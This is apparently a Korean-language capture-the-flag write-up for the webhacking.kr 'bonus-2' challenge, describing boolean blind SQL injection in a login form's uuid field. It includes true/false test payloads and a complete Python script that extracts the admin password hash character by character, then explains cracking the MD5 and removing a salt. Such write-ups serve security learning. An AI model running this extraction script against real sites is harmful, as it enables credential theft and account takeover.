old-21 이랑 비슷한 문제이다
admin이름으로 계정 가입을 했을때
admin 계정으로 로그인해야겠다는 감이 온다
이제 어디서 인젝션이 터지는지 확인해 볼 차례
테스트로 guest 계정을 만들었다
guest' and 1=1/asdf를 했을때
guest' and 1=2#/asdf 를 했을때
참과 거짓을 찾았다
guest/guest를 하게 되면 hash 값이 나오는데 이것은 나중에 살펴보자
우선 파이썬으로 admin계정의 패스워드를 알아내보자
import requests
cookie = {"PHPSESSID":"자신의 세션"}
url = "https://webhacking.kr/challenge/bonus-2/index.php"
for i in range(1, 50):
data = {"uuid":f"admin' and length(pw)={i}#","pw":"asdf"}
r = requests.post(url, data=data, cookies=cookie)
if r.text.find("Wrong password!") != -1:
print(f'length : {i}')
break
pw = ""
for i in range(1, 33):
for j in range(33 ,123):
data = {"uuid":f"admin' and ascii(substr(pw,{i},1))={j}#","pw":"asdf"}
r = requests.post(url, data=data, cookies=cookie)
if r.text.find("Wrong password!") != -1:
pw += chr(j)
print(f"pw : {pw}")
break
코드를 실행하면 패스워드가 나올 것이다
하지만 로그인을 해보면 로그인이 안됀다
실행결과로 나온 패스워드는 위에서 나중에 확인해보겠다는 hash값이다
해쉬를 보면 md5 같아 온라인 디코딩 사이트에 넣어봤다
그러면 문자가 나올것이다
md5를 디코딩한 값을 다시 넣어도 안될것이다
왜냐하면 salt값이 존재하기 때문이다
salt 값을 확이해보기 위해서는 guest/guest로 로그인했을시 나온 hash값을
md5로 디코딩하고 admin 계정의 해쉬값과 비교해보면 같은 값이 있다
같으값을 제외하고 로그인을하면 문제가 풀린다